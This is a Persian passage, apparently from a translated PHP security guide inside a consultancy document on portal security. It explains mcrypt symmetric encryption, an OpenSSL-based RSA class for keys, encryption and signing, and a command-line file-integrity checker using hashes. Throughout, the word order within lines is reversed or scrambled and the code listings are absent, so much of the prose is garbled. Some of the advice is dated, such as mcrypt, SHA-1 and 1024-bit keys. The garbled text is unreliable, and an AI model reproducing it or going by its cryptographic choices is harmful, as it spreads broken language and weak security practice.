 دهد: می انجام معکوس، تقریبا
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 نوع هر ،()base64_decode تابع و دارد انتظار را انکدشده base64های داده ،()decrypt روش

 جدا شده، رمزنگاری پیام ابتدای از آغازین گیرد. بردارمی نادیده را شده رمزنگاری مقدار در خطوط شکستگی

 رمزگشایی تا شودمی فراخوانی ()mdecrypt_generic تابع و گرددمی آغاز mcryptی حافظه شود،می

 داده بازگشت ساده متن پیام و شودمی خارج آغاز حالت از فورا mcryptی حافظهدهد.  انجام را واقعی

 شود. می

 که رودمی نمود. انتظار فراخوانی را ()mcrypt_module_open تابع سازنده، روش که دارید خاطر به

PHP روش یک ما که است آن خوب، نیازمند کدنویسی ولی ببندد اسکریپت اتمام هنگام را ماژول این 

 شیء و شده فراخوانی خودکار صورت به رسد،می پایان به اسکریپت که هنگامی که نماییم ارائه مخرب را

mcrypt شود:  تخریب 
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 در رمز کلید از رد نوع هر تا کندمی تلاش کننده تخریب ،()mcrypt_module_close فراخوانی بر علاوه

 در همچنان کلید که واقعی تضمین یک تا است عملی روش یک بیشتر امر نماید. این سازیمبهم را حافظه

 روش به شده داده )انتقال secret$ی اولیه مقدار حال هر به و باشد نداشته قرار افتاده، کار از بافر یک

setKey()محتوای از رمزها افشای مورد در نگرانی حال، این دارد. با وجود جایی، در ( همچنان RAM ،

 آن درون و کند دامپ را RAM تواندمی که دارد قرار وضعیتی در که مهاجمی که چرا است غیرواقعی اندکی

 از آن خواندن با مثلا -بیابدنیز  دیگری یشیوه به را کلید این تواندمی احتمالا بیابد، را کلید مقادیر تا بگردد

 دهندگان توسعه اغلب ولی است، قبول قابل نگرانی از بالا حد این که دارد وجود هاییدیسک. زمان روی

PHP دارند.  نگرانیجهت  دیگری موارد 

 OpenSSL و RSA : توابعPHP در نامتقارن رمزنگاری 2.2.2

 داشته یاد به که است مهم گیرد،می قرار استفاده مورد وبهای برنامهجهت  اغلب PHP که دلیل این به

 که دیگری اسکریپت هر آنگاه باشد، شما رمز کلید به خواندن دسترسی دارای شما سرور وب اگر که باشید

 اجرای با توانمی را مبحث باشد. این داشته دسترسی آن به تواندمی نیز شودمی اجرا شما سرور وب توسط

PHP فراخوان یک با suexec باها اسکریپت تمامی شودمی باعث که نمود حل userid 22مالکین گروه و 

 شما رمز ولی (،http://httpd.apache.org/docs-2.0/suexec.html در لازم )اطلاعات شوند اجرا خود
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 نتایج دارای آشکارا امر دارد. این فاصله شدن کشف با آپلودشده اسکریپت یا و باز راه یک تنها همچنان

 کنید، استفاده mcrypt کلاس با شده داده نشان شکل به متقارن رمزنگاری از اگر است توجهی قابل امنیتی

 استفاده شماهای داده رمزگشاییجهت  آن از تواندمی بیابد، را رمز کلید بتواند که کسی هر که دلیل این به

 مسئله این به ما اکنون بنابراین و بود خواهد قبول غیرقابل ریسک یک امر این ها، وضعیت از بسیاری کند. در

عمومی/خصوصی(  کلید جفت یک از )استفاده PHP با نامتقارن رمزنگاری از توانیدمی چگونه که پردازیممی

 نامتقارن، رمزنگاریدر  کردیم، بیان اول فصل در که طورکنید. همان استفاده خودهای داده از جهت حفاظت

 استفاده رمزگشاییجهت  مربوطه خصوصی کلید یک و شودمی استفاده رمزنگاریجهت  عمومی کلید یک

 شد.  خواهد

 تنظیمات( در فایل یک در مثال )برای بدهیم سرور وب به را عمومی کلید که است این اصلیی ایده ادامه، در

 عمو کلید از سرور داریم. وب نگه سرور از خارج را باشدمی حیاتی اهمیت دارای که خصوصی کلید که حالی

 راها داده این تواندنمی ولی کند رمزنگاری داده،پایگاه در ذخیرهجهت  راها داده تا کندمی استفادهمی

ی دادهپایگاه ازها داده از بخشی که ندارد. هنگامی خصوصی کلید به دسترسی هیچ که چرا کند رمزگشایی

 یک روی بر مثالجهت  شود، انجام سرور وب از خارج تواندمی وظیفه این باشند، رمزگشایی نیازمند شما،

 باشد. می خصوصی کلید به دسترسی دارای که کاری ایستگاه یا و مجزا سرور یک روی بر مدیریتی محیط

 ها،قدرت جداسازی این از که باشد یافته ساختارای گونه به که است آن نیازمند شمای برنامه که است واضح

 روشی هیچ کند،می رمزنگاری را اعتباریکارتی شماره یک سرور، وب که هنگامی کند. جهت مثال، استفاده

 امر این که )چرا کند استفادهها اسکریپت سایر در آن از مستقیم صورت به بتواند سرور وب که ندارد وجود

 رمزنگاری مقدار یک از نشانه یک اغلبها برنامه شود(. بنابراین، رمزگشایی خصوصی کلید توسط تنها تواندمی

 روی بر را آن تا اعتباری، کارت جهت یک” xxxxxxxxxxxx 0248“ قبیل از کنند،می ذخیره را شده

ی شماره مثال اساس دهند. بر قرار استفاده مورد آتی تراکنش یک از بخشی عنوان به یا و تایید صفحات

 که داشت خواهد ایمن کاری ایستگاه یک روی بر مجزای برنامه یک حسابداری بخش اعتباری، کارت

 ان روی بر را مناسب خصوصی کلید و نموده فراخوانی دادهپایگاه از را اعتباری کارتی شده رمزگذار اطلاعات

 کند.  رمزگشایی را آن تا کندمی اعمال

 فرد یک از غیر به کسی هر توسط بالا احتمال به که عمومی، سرورهای از خارج در خصوصی کلید نگهداری با

های داده شدن افشا و سرور تخریب بین را بزرگ مانع یک شما گیرند، قرار حمله مورد است ممکن داخلی

 شماهای داده ولی شود دزدیده فیزیکی صورت به است ممکن سرور واقع، نمایید. درمی ایجاد مخفی،

 یک یا ایمن کاری ایستگاه یک روی بر را خصوصی کلید است ممکن که حالی بود. در خواهند ایمن همچنان

 از جداسازی قابلی رسانه یک روی بر را آن که است این بهتری گزینه یک کنید، نگهداری خصوصی سرور

 دهید.  قرار سیستم اختیار در را آن ضرورت هنگام در تنها و کنید ذخیره CD یک یا و USB کلید یک قبیل
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 نخواهید هیچگاه کنید، گم را آن نمایید! اگر گیری پشتیبان سایت، از خارج را خود خصوصی نکته: کلید

 کنید.  بازخوانی را شده رمزنگاریهای داده توانست

 حال در اگر است، نبوده داده زیادی مقادیر رمزنگاری آن هدف وقت هیچ و است گران RSA که دلیل این به

 یک از استفاده با را خودهای داده باید است، کاراکتر 56 ازتر طولانی معمولا که هستید چیزی رمزنگاری

 آیتم یک باید شما کنید. آنگاه رمزنگاری تصادفی، کلید یک با AES قبیل از کارا و سریع متقارن الگوریتم

 استفاده با شده رمزنگاری تصادفی کلید یک کنید: یعنی ذخیره ها،داده با همراه خودی دادهپایگاه در را اضافی

 خصوصی RSA کلید که دهدمی اجازه شما به سناریو .. اینRSA قبیل از قوی نامتقارن الگوریتم یک از

 راها داده تواندمی خودی نوبه به که کنید استفاده AES کلید رمزگشاییجهت  سرور( را از )خارج خود

 است ضروری PHP در OpenSSL ماژول از استفاده هنگام واقعا اضافی گام این واقع، کند. در رمزگشایی

 تابع که دلیل این به دهدمیانجام  RSA رمزنگاریجهت  را داخلی پشتیبانی که

openssl_public_encrypt() جهت  را کاراکتر 117 از بیش اگر بود خواهد ناتوان خود، طراحی براساس

 بدهید.  آن به رمزنگاری

 ( وcsr )توابع گواهی امضایهای درخواست (،pkey )توابع خصوصی کلیدهای تواندمی OpenSSL ماژول

های پیام رمزنگاری و امضا از همچنین ماژول نماید. این مدیریت و تولید ( راx509 )توابعها گواهی خود

 کند. همچنینمی پشتیبانی ها،آن رمزگشایی و اعتبار تایید طورهمین ( وpkcs7 )توابع S/MIME ایمیل

 تواندمی همچنین نماید. و رمزگشایی و رمزنگاری اعتبار، تایید امضا، ،RSA از استفاده با را مقادیر تواندمی

 و رمزنگاری را طولانیهای پیام تا نماید ترکیب RC4 متقارن رمزنگاری با را RSA نامتقارن رمزنگاری

 کند.  رمزگشایی

 باشد گراشیء رابط یک به تبدیلجهت  اصلی نامزد یک OpenSSL ماژول که شودمی باعث پیچیدگی این

 جفت یک ایجاد عملی موضوعات روی بر دهیم. مامی قرار بحث مورد اینجا در خلاصه صورت به را آن که

 و عمومی کلید یک شامل که است بسته یک تنها گواهی )یک مربوطه گواهی و عمومی/خصوصی کلید

 سپس کند( ومی تایید را کلید صلاحیت که است آن از بخشی متمایز نام که باشدمی مربوطههای داده

 ،opnSSL.php کلاسهای توانایی برای مقدمه عنوان کنیم. بهمی تمرکز RSA الگوریتم با مرتبط عملیات

 دو این دهد. )مامی نشان را کلاس این از استفاده دو تنها که بنماییم اسکریپتی به نگاهی ابتدا در دهید اجازه

 به مورد دو این تولید، محیط یک در باشد؛تر سادهها آن نمایش اینکهجهت  تنها ایم داده قرار هم کنار را

 ادامه در که openSSLDemo.php گیرند.( اسکریپتمی قرار استفاده مورد یکدیگر از مستقل صورت

 خصوصی کلید یک و نموده آغاز را openSSL شیء ما اول، بخش است. در شده تقسیم بخش دو به آیدمی

 گواهی و کلید از استفاده با را پیام یک ما دوم، بخش دهیم. درمی تطبیق را امضا خود گواهی و کرده تولید را

 کنیم. می اعتبار تایید و امضا رمزگشایی، رمزنگاری، شده، تولید
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 گواهی و خصوصی کلید جفت یک تولید به سپس و کنیممی ایجاد را جدید openSSL شیء یک ما ابتدا در

 یک نیازمند ()makekeys کنید،می مشاهده که طورپردازیم. همانمی ()makekeys روش از استفاده با

 است ممکن کنند. همچنینمی ایجاد گواهی، یک روی بر را متمایز نام که باشدمی فیلدها از ارتباطیی آرایه

 عبوری عبارت یک یباشد. ارائه داشته نیاز مورد خصوصی کلید روی بر استفادهجهت  را عبوری عبارت یک

 کلید این که صورتی به نماید رمزنگاری عبوری عبارت این با را خصوصی کلید openSSL که شودمی باعث

 عبوری عبارت دارای نیز افراد این اینکه )مگر نباشد استفاده قابل دیگران، اختیار در گرفتن قرار صورت در

دهیم. می اختصاص OpenSSL توسط شده تولید گواهی و کلید بررسی به را خط چند ادامه، باشند(. در

 مورد کند،می امضا را ما گواهی که گواهی جهت صلاحیت ()makeKeys به شده ارائه متمایز نام همین

 باشد. می امضا خود صورت به گواهی که معناست این به که گیردمی قرار استفاده

 نشان را کلاس این واقعی کاربرد توانیممی نهایت در ما ضروری، گواهی و کلید تولید و شیء ایجاد از بعد

های روش همچنین عملیات. ما این بررسیجهت  آن رمزگشایی سپس و کوتاه، پیام یک رمزنگاریدهیم: 

sign() و verify() این از خروجیی صفحه اولینی دهنده نشان 2-2 کنیم. تصویرمی تست نیز را 

 است.  نمونه اسکریپت
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 openSSLDemo.php اسکریپت از ناشی خروجیی صفحه : اولین2-2 تصویر

 

 در را آن ما داد، نشان 2-2 تصویر در را آن بتوان که است طولانی حد از بیش خروجی این که دلیل این به

 کنیم: می ارائه اینجا
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 خصوصی کلید یک کرد: ما کار چیز همه که است این مهمی نکته ولی است، طولانی بسیار خروجی این

 رمزنگاری عملیات چندین درها آن از سپس و کردیم ایجاد را امضا خود گواهی یک و رمزعبور با شدهحفاظت

 تقسیم پیامی گیرنده و فرستنده بین عملیات این عمل، در نمودیم. البته، استفاده RSA الگوریتم شامل

 داده. پایگاه از رکورد یک یا فایل یکی خواننده و نویسنده بین یا و شوندمی

 گرفت قرار استفاده مورد بالا مثال در که پردازیممی openSSL.php اصلی کلاس به اکنون

 از قبل کنیممی ارائه را آن چارچوب ما باشد،می پچیده و طولانی کلاس، این که دلیل این به نیز اینجا در

 دهیم:  نمایش را کد خود آنکه

  خصوصی متغیرهای •
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  نیست نیاز مورد اینجا : در ()construct_ روش •

  کندمی ذخیره و ایجاد راها گواهی و : کلیدها ()makeKeys روش •

  کلیدها تعیین و : دریافت ()certificate و  ()privatekeyهای روش •

  پیام رمزگشایی و رمزنگاری : اجرای ()decrypt و  ()encryptهای روش •

  امضا و پیام اعتبار : تایید ()verify و ()signهای روش •

  ()getCA و ()getCommonName()، getDN()، getCACCommonNameهای روش •

  گواهی محتوای خواندنجهت  بازنگریهای روش

 پردازیم: می کد خود به اکنون
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 بنابراین باشد،تخریب( نمی )یا آغازسازی نوع هیچ نیازمند OpenSSL ماژول ،mcrypt ماژول برخلاف

 اهدافجهت  داخلی صورت به و بوده خصوصی ها،ویژگیی همه باشد. ومی خالی کلاس، اینی سازنده روش

 دهیم. اولینمی قرار بحث مورد ها،روش در شده ارائه ترتیب به راها آن ما بنابراین شوند.می استفاده مختلف

 ارائه مورد با مشابه distinguishedName$ی آرایه یک نیازمند که باشدمی ()makeKeys روش مورد،

 متمایز نام دارای تولیدشده گواهی باشد، خالی آرایه این باشد. اگرمی openSSLDemo.php در شده

 باشد: می OpenSSLی کتابخانه استرالیاییی ریشهی نتیجه یک که بود، خواهد زیر فرضپیش

 

 به شده، تولید خصوصی کلید رمزنگاریجهت  را اختیاری عبوری عبارت یک همچنین ()makeKeys روش

 گیرد. می کار

 کلید یک که کندمی فراخوانی را ()openssl_pkey_new تابع ()mekeKeys گام، اولین عنوان به

کند. می اشاره کلید این به که دهدارائه می را PHP منبع یک و نموده ایجاد را خصوصی

Openssl_pkey_new() را تنظیمی مقادیر از آرایه روش( یک این در شده فراخوانی توابع همگی )و 

 قرار استفاده مورد گواهی و کلید تولید مختلف پارامترهای نمودن مشخصجهت  تواندمی که پذیرندمی
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 SHA-1 به دایجست الگوریتم تعیین حال در آشکار صورت به ()makeKeys حالت، این گیرند. در

 قرار استفاده مورد بیشینه امنیتجهت  تواندمی بیت 2048) بیت 1024 با برابر کلیدی اندازه که باشد،می

 رمزنگاریوجود( جهت  صورت )در عبوری عبارت از تا داردمی وا را خصوصی کلید صدور تابع و گیرد( بوده

 کند.  استفاده کلید این

 تا کندمی استفاده متمایز نام همراه به آن از ()makeKeys شد، ایجاد جدید کلید منبع این که هنگامی

 کند.  ایجاد ()open_csr_new تابع از استفاده با را CSR یا گواهی امضای درخواست یک

 یک ()makeKeys دارد. سپس، ارجاع حافظه در CSR به که دهدارائه می را منبع یک تابع این همچنین،

 جدید، گواهی به را منبع یک که کندمی تولید ()openssl_csr_sign تابع فراخوانی با را امضا خود گواهی

 این که روزهایی تعداد قبیل از پذیردمی را مهمیهای آرگومان ()openssl_csr_sign گرداند. تابعمی باز

 برچسب یک از )ما گواهی اینجهت  سریال شماره یک ( و365 با برابر کلاس این )در باشد معتبر باید گواهی

 شود(. می داده نشان ()time تابع توسط که کنیممی استفاده امر اینجهت  زمانی

  نکته

 غیره وها گواهی کلیدها، به حافظه درون ارجاعات منابع، با چگونه openSSL توابع که کنید توجه

 به را متغیر یک شما صدور، هنگام در حتی کنند؛ کار مقادیر خود با اینکه جای به دارند، کار و سر

های گفته به توجه شود. بامی بازگردانده ارجاعی صورت به شده صادر مقدار و دهیدمی تابع یک

 تا را چیز همه تا کردندمی پیروی قواعد از تنهاها آن خصوصی(، ارتباط یک )در ماژول این مولفین

 دارند.  نگه ساده پیچیده، محیط یک در توانندمی

 حافظه در مقادیر اینهای کپی تعدادجهت  محدودیت یک رویه این که داریم توجه حال، این با

 توانندمی همچنینها باشد. ورودی امنیت و عملکردجهت  مزایایی دارای باید که باشدمی

URLشکل به هایی fileاصولا(  کهای گونه به :/// باشند(PHP مقدار که نیست نیازی هیچگاه 

 بداند.  را خصوصی کلید یک

 این که است آن نیازمند ()makeKeys روش ،PHP منابع عنوان بهها گواهی و خصوصی کلید ایجاد از بعد

 تابعی وظیفه کار، این باشند. انجام مفید واقعی، کارجهت  که درآورد شکلی به را موارد

openssl_pkey_export() تابع و openssl_x509_export() باشد. می 

 اندکی شودمی باعث که شودمی تمام تابع کار که هنگامی پذیرندمی را متغیر به ارجاع یک توابع این دو هر

 احتمالا )و خروجی خصوصی کلید شامل this->privatekey$ که است این برسند. نتیجه نظر به عجیب

 PEM با شده انکد X.509 فرمت به خروجی گواهی شامل this->certificate$ و شده( بوده رمزنگاری

 استفاده با گواهی یک در و نموده تجزیه را X.509 اطلاعات ()makeKeys درونی، باشد. جهت بررسیمی
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 عنوان به که شودای آرایه همان به منجر باید که کندمی ذخیره ()openssl_x509_parse از

$distinguishedName است.  شده روش این وارد 

های روش که ()certificate و ()privateKey از عبارتند ما openSSL.php کلاس در بعدی روش دو

 هستند:  تعیین و دریافت ترکیبی

 

 

 اکنون که را گواهی و خصوصی کلید شوند، فراخوانی آرگومان بدون ()certificate و ()privateKey اگر

 تعیینجهت  توانندمی آرگومان، عنوان به مناسب مقادیر با ها،روش همین گردانند. ولیمی باز هستند، فعال

 استفاده کننده تعیینهای روش عنوان به که گیرند. هنگامی قرار استفاده مورد فعال، گواهی و خصوصی کلید

 باید ما که است دلیل همین کنند. )بهارائه می کنندمی تنظیم که را ویژگی قبلی مقادیر دو، این شوند،می
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 هنگامی دهیم(. همچنین، تغییر جدید مقداری به را آن که آن از قبلا کنیم ذخیره out$ در را قبلی مقدار

 جدید گواهی اینجهت  را PHP منبع یک شود،می استفاده تعیینی روش یک عنوان به ()certificate که

 بازنگریهای روش تا کندمی آزاد را منبع سپس و کندمی تجزیه را آن درون X.509های داده کند،می ایجاد

 گواهی و خصوصی کلید یک که است کنند. ضروری ارائه گواهی خصوص در را دقیقی اطلاعات باشند قادر

 با مرتبط عملیات اینکهجهت  کنند استفاده آن از بعدی روش دو عمومی( تا کلید )یعنی شود مشخص فعال

RSA نمایند.  اجرا بتوانند را 
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جهت  ()exit از و کندمی کار به آغاز خطا شرایط تعدادی ضروری ولی شدید مدیریت با ()encrypt روش

 نشده رمزنگاریهای داده با را خود کار که دهد اجازه برنامه یک به اینکه جای به کندمی استفاده اجرا اتمام

فرستنده(  نه و باشد کننده دریافت گواهی )باید فعال گواهی یک که کندمی بررسی روش دهد. این ادامه

 روی بر تصادفی ظاهرا محدودیت کمتر. این یا است بایت 56 ورودیی داده اینکه و، خیر یا دارد وجود

 117 ازتر بزرگهای داده PHP در ()openssl_public_encrypt تابع که چرا، است نیاز مورد ورودی،

 بایت 56شود.  استفاده کوتاه مقادیرجهت  تنها نباید RSA که کنیم بیان باید و کندنمی رمزنگاری را بایت

 ما که است مقداری ترینطولانی که کندمی فراهم را بیتی Blowfish 448 کلید یکجهت  کافی فضای

 بپردازیم.  آن رمزنگاری به کلاس این از استفاده با خواهیممی

 گواهی منبع یک به را this->certificate$ مقدار ()encrypt است، مناسب کاری ادامه که هنگامی

PHP از استفاده با openssl_get_publickey() مقدار تا کندمی استفاده آن از سپس و نموده تبدیل 

$string کند. تابع رمزنگاری را openssl_public_encrypt() به را شده رمزنگاری مقدار $out به 
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 قطعات به و شودمی انکد base64 صورت به out$ و شده آزاد گواهی کند. منبعمی منتقل ارجاعی، صورت

 شود.  ایمیل طریق از ارسال یا و دادهپایگاه در ذخیرهی آماده تا شودمی تقسیم کاراکتری 64

 که )چرا ندارد وجود آن در ورودی طول بررسی البته کند.می عمل روش همین به تقریبا ()decrypt روش

 شده ایجاد ()encrypt توسط ابتدا ، در ()decrypt به یافته انتقالی شدهرمزنگاری پیام که کنیممی فرض

 رمزنگاری است ممکن خصوصی کلید و کند،می کار خصوصی کلید با ()decrypt که دلیل این است(. به

 پذیرد. می نیاز، صورت در را کلید این رمزگشاییجهت  استفاده مورد عبوری عبارت روش، این باشد، شده

 یک یا و فعال خصوصی کلید یک دارای باید هم باز که پردازیممی اعتبار تایید و امضاهای روش به اکنون

 باشند:  قبل از شده تعیین گواهی
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کنند: می استفاده ()encrypt توسط شده تعریف الگوی با مشابهبعدی و  کلی الگوی از نیزها روش این

 اشاره با PHP منبع یک نمودن باز باشد، نشده مشخص گواهی یا کلید که صورتی در بالقوه خطای مدیریت

 این آزادسازی سپس و اعتبار، تایید یا امضاجهت  مناسب openssl تابع فراخوانی گواهی، یا کلید این به

 را پیامها آن که است این، است متفاوت روش دو این خصوص در که خروجی. چیزی یارائه از قبل منبع

 اضافه پیام شده( به تعریف پیش از امضای فوتر و هدر یک همراه )به را امضا ()sign دهند. روشمی تغییر

 نماید. می جدا راها آن ()verify روش و کندمی

 ارائه ()openssl_verify و ()openssl_sign به را کامل string$ ما چرا که کنید فکر است ممکن

ی استفاده نیازمند RSA عملیات حال، هر به نماییم؛سازی درهم ()sha1 با را آن اینکه جای به دهیممی

 ()openssl_sign نماییم. ولی امضا را بزرگ فایل یک تا کشدمی طول زیادی زمان و هست CPU از بالایی

 را ورودی مقدار ابتدا در تا کنندمی استفاده داخلی صورت به SHA-1 از ()openssl_verify و

 نداریم.  روش دو این در کار این انجام به نیازی ما بنابراین نمایندسازی درهم

 در ()encrypt روش از استفاده با را کاملی شده امضا پیام یک توانست نخواهید شما که است توجه شایان

openSSL.php کاراکتری 56 محدودیت دلیل به امر این که کنید رمزنگاری encrypt() ورودی روی بر 

 مورد مختلفی داده قطعات روی بر باید ()sign و ()encrypt و است، طراحی براساس امر باشد. اینمی

 هستند کلاس این در موارد این اینکه دلیل که باشید داشته خاطر به تنها حاضر، حال گیرند. در قرار استفاده

 پیام یک روی بر استفادهها آن هدف اینکه و هستند RSA بر مبتنی عملیات ها،آن دو هر که است این

 نیست.  یکسان

 تا دهدمی اجازه دهندهتوسعه به که گیریممی کار به را X.509 گواهی بازنگری رابط یک ما نهایت، در

Coomon Name گواهیی کننده صادر و گواهی مالکجهت  را متمایز نام فیلدهای کاملی مجموعه یا و 

 کند.  کشف است(، نموده امضا را گواهی که گواهی صلاحیت )یعنی
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 که اندشده ایجاد زمانی در یا که کنندمی ارائه را this->x509$ از مرتبطهای بخش تنهاها روش این

makeKeys() به موجود گواهی یک که زمانی یا و است نموده تولید را جدید گواهی یک certificate() 

 باشد.  فعال خصوصی کلید تا است شده ارائه

 باشدنمی mcrypt با برابر سازیتنظیم/پاک سربار دارای OpenSSL ماژول کردیم، بیان قبلا که طورهمان

 است ممکن دارد بالاتری حساسیت کهای کنیم. خواننده استفاده تخریبی تابع از که نیست نیازی بنابراین

جهت  و کند بازنویسی است، گرفته قرار استفاده مورد کلاس این توسط که را حافظه از بخشی تا کند تلاش

 نگران را شما مسئله این اگر که نمود بیان باید نماید. ولی بازنویسی را this->privatekey$ مقدار مثال

 باید نیز ارجاعات این تمامی و گیردمی قرار استفاده مورد محل چندین خصوصی در کلید عبور رمز کند،می

 ندارد.  گذاشتن وقت ارزش اینکارجهت  تلاش که رسدمی نظر به حالت، این شوند. در پاک

  مهمهای داده اعتبار تایید 2.3

ها داده یکپارچگی از حفاظت یا و اعتبار تایید از عبارت است رمزنگاری نیازمند که متداول سومی وظیفه یک

 قرار بیرونی دستکاری تاثیر تحتها داده یا وها اسکریپت یا وها باینری که شوید مطمئن خواهیدمی است. اگر

 هنگام در مثلا باشد عمدی چه و انتقال خطاهای هنگام در مثلا باشد تصادفی تغییر )چه اندنگرفته

 دهید.  انجام را وظیفه این باید آنگاه خرابکاری(،
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 ها دایجست از استفاده با اعتبار تایید 2.3.1

 از جداسازی، قابلهای رسانه روی بر شده ذخیرههای داده یکپارچگی اعتبار تاییدجهت  ما پیشنهادی روش

 شوند، داده تغییر شمای اجازه بدون نباید که هاییفایل یا نواری،های پشتیبان یا و دیسیهای آرشیو قبیل

 اینسازی درهم مقداری جهت ذخیره ()sha1 یا ()md5 قبیل از پیام دایجست الگوریتم از که است این

 و نمود جستجو بعدا توانمی راسازی درهم این کنید. سپس استفاده ذخیره، اولین هنگام در پیام یا فایل

 است. یافته تغییر فایل یک محتوای که نمود تایید

 دو دارای اسکریپت دهیم. اینمی نشان integrity.php فرمان خط اسکریپت از استفاده با را روش این ما

. integrity-checking یا و indexingهستند:  شده ارائههای آرگومان تعداد به بسته که باشدمی حالت

 )که شودمی استفاده شده ارائه مسیر درها فایل تمامی از جامعی نمایه یک جهت ایجاد indexing حالت

شود.  ذخیره ایمن مکان یک در باید آمدهی ارائه باشد(. نمایه دایرکتوری یک یا و یکتا فایل یک است ممکن

 دیسک روی بر کنونیهای فایل با را شده ذخیرهی نمایه در فایل جزئیات integrity-checking حالت

 دهد.میارائه  را ناسازگاری نوع هر از گزارش یک و نموده مقایسه
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 روش شما ضروری، متغیرهای تعریف از باشد. بعدمی fileData کلاس شامل اسکریپت این اول بخش

load() آن نام که فایلی که کنیدمی بررسی دهد. شمامی انجام را کلاس این کارهای که کنیدمی ایجاد را 

 تا کنیدمی استفاده ()md5_file تابع از ابتدا در شما هست، اگر و باشد خواندن قابل است، شده وارد

 و کنیدمی بازخوانی ()stat تابع از استفاده با را فایل این آمارهای ادامه، کنید. درسازی درهم را آن محتوای

 هم با راسازی درهم دو این و کنیدمیسازی درهم را سریالی آمارهای کنید. شمامی حفظ را مرتبط موارد تنها

 زمانی برچسب یک نهایت، آورید. درارائه  فایل مورد در را اطلاعات از جامع یمجموعه یک تا کنیدمی ترکیب

 کنید. می مشخص دادید، انجام اکنون که هاییفعالیتجهت  را
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 خصوص در را اولیه اطلاعات تا کندمی استفاده کردید ایجاد تازه که کلاسی از اسکریپت این بعدی بخش

 تولید تازه اطلاعات با اندشده ذخیره قبلا که را اطلاعاتی یا و نماید ذخیره و تولید مسیر، اینهای فایل تمامی

 خیر.  یا است داشته وجود تغییری آیا که کند تعیین تا نماید مقایسه شده
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 را ضروری متغیرهای ابتدا در شما شود(، اجرا فرمان خط از بایدکه  باشید داشته یاد )به واقعی اسکریپت در

 خیر، یا است شده فراخوانی درستی به اسکریپت این آیا که دریابید تا کنیدمی بررسی سپس و کنیدمی آغاز

 شده ارائه مقادیر باشد، شده فراخوانی درستی به اگر ولی شودمی خارج استفاده آگهی یک با باشد نشده اگر

 به را موجودی نمایه یک شما اسکریپت، این فراخوامی هنگام کند. اگرمی ذخیره مناسب، متغیرهای در را

 فراخوانی را نمایه آن شود(، انجام بتواند یکپارچگی بررسی )تا باشید داده آن به ثانویه پارامتر یک عنوان

 قابل شده داده مسیر که کنیدمی بررسی ادامه، کنید. درمی ذخیره known$ی آرایه در را آن و نموده

 کلاس درون مشابه بررسی یک که کنید شود. )توجهمی خارج مناسب، پیام یک با نباشد اگر و باشد خواندن

fileData ما باشد، اضافی فنی لحاظ از بررسی آن که شودمی باعث بررسی این که حالی در شودمی انجام 

 اسکریپتی در کلاس این که صورتی در ایم نموده ارائه ایمنی ویژگی یک عنوان به نیز آنجا در را بررسی یک

 نباشد.(  بررسی چنین دارای که شود استفاده



 های مدیریت محتواسیستمهای پذیریهای سازماني و کشف آسیبسازی پرتالخدمات مشاوره در حوزه امن

69 

 

 
 

 

 

 خواهید عبور دایرکتوری در موجودهای فایل از کدام هر از شما باشد، دایرکتوری یک شده داده مسیر اگر

 را فایل اطلاعات از ترکیبیسازی درهم تا کنیدمی استفاده fileData کلاس در ()load روش از و نمود

 با را کار همین شما باشد، یکتا فایل یک مسیر، نمایید. اگر ذخیره known$ی آرایه در را آن و نموده تولید

 دهید. می انجام آن
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 و نمایید مقایسه هم با را ه شد ذخیره و جدید مقادیر توانیدمی دارید، اختیار در را فایل اطلاعات که هنگامی

 ردیابیجهت  توانیدمی که کنیدمی آغاز را هاییشمارنده شما بنابراینکنید.  ذخیره را جدید مقادیر تنها یا

 بررسیجهت  را مقایسه باید شما نباشد، خالی known$ی ارایه کنید. اگر استفادهها آن از خود پیشرفت

 آنجا در که را هرچیزی کنید؛می عبور found$ی آرایه از ترتیب به شما دهید. بنابراین، انجام یکپارچگی

 شما نیستند، جدید که هاییباشد. جهت فایل جدید فایل یک باید نباشد، known$ یآرایه در ولی بیابید

 این شما اشتباه،های تطابقجهت  کنید؛می مقایسه هم با را قبلی و شده یافته فایل اطلاعاتهای سازیدرهم

 باشد،می آمارها در تفاوت اگر )و آمارها در یا و است محتوا در تفاوت این آیا که کنیدمی تعیین را مسئله
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 فایل هیچ که شوید مطمئن تا کنیدمی بررسی نهایت، دیگر. در جایی در باشد؟( یامی آن کجای در دقیقا

 برید. می پایان به خلاصه گزارش یک با را اسکریپت نباشند. شما نشده، یافته حالت در اکنون ای،شده شناخته

 کنید. ابتدا استفاده integrity.php اسکریپت از توانیدمی چگونه که دهیممی نشان اکنون ما

integrity.php حالت در را Indexing شود(  نمایه باید که مسیری پارامتر، یک با )تنها کنیدمی فراخوانی

 کنید: می ذخیره خود،ی خانه دایرکتوری در etc-intex عنوان به را آمدهی ارائه نمایه فایل و

 

 فایل هرجهت  مورد یک یعنی باشدمی fileData اشیا از سریالی PHP یآرایه یک آمدهی ارائه نمایه فایل

 است شده قطع کاراکتری combinedHash 64 )مقدار است شکل این به آن از بخشی که ،etc/ در موجود

 باشد(: تر راحت آن نمایش تا

 

 

 روی بر etcمسیر/ روی بر integrity.php که هنگامی در تولیدشده، 28K فایل یک از بخشی خروجی این

OSX شود، هست. می اجرا 

 و کنیدمی فراخوانی integrity-checking حالت در را integrity.php شما ،etc/ محتوای بررسی برای

 دهید: می آن به دوم آرگومان عنوان به را شده ذخیرهی نمایه فایل نام

 

تولید  را زیر با مشابه خروجی، اسکریپت این نشده، داده تغییر دایرکتوری یک روی بر فراخوانی هنگام

 :کندمی0

 

 گزارش یک integrity.php باشد، شده داده تغییر زمان این در etc/ در موجودهای فایل از یکی اگر ولی

 دهد: ارائه می را تغییرات این از دقیق



 های مدیریت محتواسیستمهای پذیریهای سازماني و کشف آسیبسازی پرتالخدمات مشاوره در حوزه امن

73 

 

 
 

 

 گیرد؛ قرار استفاده مورد ،23های کشفایل مدیریتجهت  شماهای برنامه درون تواندمی روش همین

 مورد زمانی توانیدمی را اصلیهای فایلهای سازیدرهم با کشهای فایلهای سازیدرهم متوالیی مقایسه

 برچسب یک از استفاده شوند. البته، کش نو از باید و اندشده داده تغییر اصلیهای فایل که دهید قرار استفاده

 از بیش است ممکن فایل یک که چرا باشدمیاعتماد  غیرقابل تقریبا ولی استتر ساده امر اینجهت  زمانی

 . یکنمایند تغییر touch از استفاده با توانندمی نیز زمانیهای برچسب وکند  تغییر ثانیه یک در بار چندین

 عنوان به توانمی را شده کش فایلسازی درهم مقدار که است این روش این از استفادهجهت  اضافی مزیت

 به که بیشتر(، جهت اطلاعات  RFC2616 از 19-14 )بخش داد قرار استفاده مورد HTTP ETag هدر

 مکررهای درخواست از و نموده استفاده خود داخلیهای کش از شکل بهترین به تا دهدمی اجازه مرورگر

